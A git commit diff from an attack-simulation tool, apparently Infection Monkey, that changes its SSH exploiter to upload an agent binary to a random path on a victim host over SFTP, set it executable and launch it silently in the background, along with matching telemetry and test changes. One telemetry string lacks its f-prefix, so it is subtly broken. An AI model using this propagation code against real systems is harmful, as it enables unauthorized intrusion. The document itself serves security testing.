Agent: Use random binary destination path for SSH Exploit

This commit is contained in:
Ilija Lazoroski 2022-03-23 16:35:54 +01:00 committed by Mike Salvatore
parent 82b6cdbad5
commit cad5fa4897
3 changed files with 23 additions and 11 deletions

View File

@ -1,5 +1,6 @@
import io import io
import logging import logging
from pathlib import Path
import paramiko import paramiko
@ -7,6 +8,7 @@ from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_T
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from common.utils.exceptions import FailedExploitationError from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dest_path
from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import MONKEY_ARG from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
@ -204,15 +206,17 @@ class SSHExploiter(HostExploiter):
self._set_interrupted() self._set_interrupted()
return self.exploit_result return self.exploit_result
monkey_path_on_victim = get_agent_dest_path(self.host, self.options)
try: try:
with ssh.open_sftp() as ftp: with ssh.open_sftp() as ftp:
ftp.putfo( ftp.putfo(
agent_binary_file_object, agent_binary_file_object,
self.options["dropper_target_path_linux"], str(monkey_path_on_victim),
file_size=len(agent_binary_file_object.getbuffer()), file_size=len(agent_binary_file_object.getbuffer()),
callback=self.log_transfer, callback=self.log_transfer,
) )
self._set_executable_bit_on_agent_binary(ftp) self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
status = ScanStatus.USED status = ScanStatus.USED
except Exception as exc: except Exception as exc:
@ -227,21 +231,21 @@ class SSHExploiter(HostExploiter):
status, status,
get_interface_to_target(self.host.ip_addr), get_interface_to_target(self.host.ip_addr),
self.host.ip_addr, self.host.ip_addr,
self.options["dropper_target_path_linux"], monkey_path_on_victim,
) )
) )
if status == ScanStatus.SCANNED: if status == ScanStatus.SCANNED:
return self.exploit_result return self.exploit_result
try: try:
cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.host, self.current_depth - 1) cmdline += build_monkey_commandline(self.host, self.current_depth - 1)
cmdline += " > /dev/null 2>&1 &" cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT) ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
logger.info( logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)", "Executed monkey '%s' on remote victim %r (cmdline=%r)",
self.options["dropper_target_path_linux"], monkey_path_on_victim,
self.host, self.host,
cmdline, cmdline,
) )
@ -260,12 +264,14 @@ class SSHExploiter(HostExploiter):
logger.error(self.exploit_result.error_message) logger.error(self.exploit_result.error_message)
return self.exploit_result return self.exploit_result
def _set_executable_bit_on_agent_binary(self, ftp: paramiko.sftp_client.SFTPClient): def _set_executable_bit_on_agent_binary(
ftp.chmod(self.options["dropper_target_path_linux"], 0o700) self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: Path
):
ftp.chmod(str(monkey_path_on_victim), 0o700)
self.telemetry_messenger.send_telemetry( self.telemetry_messenger.send_telemetry(
T1222Telem( T1222Telem(
ScanStatus.USED, ScanStatus.USED,
"chmod 0700 %s" % self.options["dropper_target_path_linux"], "chmod 0700 {monkey_path_on_victim}",
self.host, self.host,
) )
) )

View File

@ -1,8 +1,12 @@
from pathlib import Path
from typing import Union
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem
class T1105Telem(AttackTelem): class T1105Telem(AttackTelem):
def __init__(self, status, src, dst, filename): def __init__(self, status: ScanStatus, src: str, dst: str, filename: Union[Path, str]):
""" """
T1105 telemetry. T1105 telemetry.
:param status: ScanStatus of technique :param status: ScanStatus of technique
@ -11,7 +15,7 @@ class T1105Telem(AttackTelem):
:param filename: Uploaded file's name :param filename: Uploaded file's name
""" """
super(T1105Telem, self).__init__("T1105", status) super(T1105Telem, self).__init__("T1105", status)
self.filename = filename self.filename = str(filename)
self.src = src self.src = src
self.dst = dst self.dst = dst

View File

@ -1,4 +1,5 @@
import json import json
from pathlib import Path
import pytest import pytest
@ -16,7 +17,8 @@ def T1105_telem_test_instance():
return T1105Telem(STATUS, SRC_IP, DST_IP, FILENAME) return T1105Telem(STATUS, SRC_IP, DST_IP, FILENAME)
def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry): @pytest.mark.parametrize("filename", [Path(FILENAME), FILENAME])
def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry, filename):
T1105_telem_test_instance.send() T1105_telem_test_instance.send()
expected_data = { expected_data = {
"status": STATUS.value, "status": STATUS.value,